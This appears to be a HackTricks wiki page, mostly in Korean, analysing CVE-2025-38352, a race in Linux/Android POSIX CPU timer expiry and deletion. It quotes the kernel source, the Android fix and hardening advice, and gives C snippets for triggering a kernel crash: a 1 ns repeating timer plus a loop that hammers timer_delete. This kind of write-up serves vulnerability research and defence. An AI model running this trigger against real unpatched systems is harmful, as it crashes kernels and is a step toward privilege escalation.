POSIX CPU Timers TOCTOU race (CVE-2025-38352)
Reading time: 7 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 페이지는 Linux/Android POSIX CPU timers의 TOCTOU 경쟁 조건을 문서화한다. 이로 인해 타이머 상태가 손상되고 커널이 크래시될 수 있으며, 특정 상황에서는 권한 상승으로 유도될 수 있다.
- Affected component: kernel/time/posix-cpu-timers.c
- Primitive: task 종료 시 expiry vs deletion 경쟁
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
간단한 내부 동작 요약 (exploitation에 관련)
- Three CPU clocks drive accounting for timers via cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
- Arming은 per-base timerqueue에 삽입하고 next-expiry cache를 갱신할 수 있다:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
- Fast path는 캐시된 만료(cached expiries)가 발동 가능성을 나타내지 않는 한 비용이 많이 드는 처리를 피합니다:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
- Expiration은 만료된 타이머들을 수집하고, firing 상태로 표시한 뒤 큐에서 제거한다; 실제 전달은 연기된다:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
만료 처리 모드 두 가지
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: 대상 task의 task_work를 통해 만료 처리가 연기됨
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: 만료 처리가 IRQ 컨텍스트에서 직접 처리됨
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
IRQ-context 경로에서는 firing list가 sighand 바깥에서 처리된다
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit 전제 조건
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- 대상 task가 종료 중이지만 아직 완전히 정리(reaped)되지 않음
- 다른 스레드가 동일한 타이머에 대해 posix_cpu_timer_del()을(를) 동시 호출함
시퀀스
- update_process_times()가 종료 중인 task에 대해 IRQ 컨텍스트에서 run_posix_cpu_timers()를 트리거함.
- collect_timerqueue()가 ctmr->firing = 1로 설정하고 타이머를 임시 firing 리스트로 이동함.
- handle_posix_cpu_timers()가 unlock_task_sighand()로 sighand를 해제하여 락 밖에서 타이머를 전달함.
- unlock 직후에 종료 중인 task가 reaped될 수 있으며, 형제 스레드가 posix_cpu_timer_del()을 실행함.
- 이 창에서 posix_cpu_timer_del()이 cpu_timer_task_rcu()/lock_task_sighand()를 통해 상태 획득에 실패할 수 있고, 따라서 timer->it.cpu.firing을 확인하는 정상적인 in-flight 가드를 건너뛸 수 있음. 삭제가 firing이 아닌 것처럼 진행되어 만료가 처리되는 동안 상태가 손상되어 충돌(crash)이나 UB가 발생함.
설계상 TASK_WORK 모드가 안전한 이유
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y인 경우 만료(expiry)가 task_work로 연기되며, exit_task_work가 exit_notify보다 먼저 실행되므로 IRQ-time과 reaping의 중첩이 발생하지 않음.
- 그럼에도 불구하고 task가 이미 종료 중이면 task_work_add()는 실패함; exit_state를 기준으로 gating하면 두 모드가 일관됨.
Fix (Android common kernel) and rationale
- 현재 task가 종료 중이면 조기 리턴을 추가하여 모든 처리를 게이팅함:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
- 이로 인해 종료 중인 작업에 대해 handle_posix_cpu_timers()에 진입하는 것을 방지하여 posix_cpu_timer_del()이 it.cpu.firing을 놓치고 만료 처리(expiry processing)와 경쟁할 수 있는 창을 제거합니다.
Impact
- 동시 만료/삭제(expiry/deletion) 동안 timer 구조체의 커널 메모리 손상이 즉시 크래시(DoS)를 유발할 수 있으며, 임의의 커널 상태 조작 기회로 인해 privilege escalation에 대한 강력한 primitive가 될 수 있습니다.
Triggering the bug (safe, reproducible conditions) Build/config
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n으로 설정하고 exit_state gating fix가 적용되지 않은 커널을 사용하세요.
Runtime strategy
- 종료하려는 스레드를 대상으로 하고 그 스레드에 CPU timer를 붙이세요 (per-thread 또는 process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- 매우 짧은 초기 만료(initial expiration)와 작은 간격(interval)을 설정하여 IRQ-path 진입을 최대화하세요:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
- 대상 스레드가 종료되는 동안, 형제 스레드에서 동일한 타이머를 동시에 삭제:
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
- 경쟁 증폭 요인: 높은 scheduler tick 속도, CPU 부하, 반복적인 스레드 종료/재생성 사이클. 이 크래시는 일반적으로 unlock_task_sighand() 직후 task lookup/locking이 실패하면서 posix_cpu_timer_del()이 firing을 인지하지 못할 때 발생한다.
탐지 및 강화
- Mitigation: exit_state 가드 적용; 가능하면 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 활성화 권장.
- Observability: unlock_task_sighand()/posix_cpu_timer_del() 주변에 tracepoints/WARN_ONCE 추가; it.cpu.firing==1이 cpu_timer_task_rcu()/lock_task_sighand() 실패와 함께 관측되면 경보; task 종료 시 timerqueue 불일치 모니터링.
감사 핫스팟 (검토자용)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
익스플로잇 연구 메모
- 공개된 동작은 신뢰할 수 있는 커널 크래시 프리미티브이다; 이를 권한 상승으로 전환하려면 보통 이 요약의 범위를 벗어난 추가적인 제어 가능한 오버랩(객체 수명 또는 write-what-where 영향)이 필요하다. 모든 PoC는 시스템을 불안정하게 만들 수 있으니 에뮬레이터/VM에서만 실행할 것.
References
- Race Against Time in the Kernel’s Clockwork (StreyPaws)
- Android security bulletin – September 2025
- Android common kernel patch commit 157f357d50b5…
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks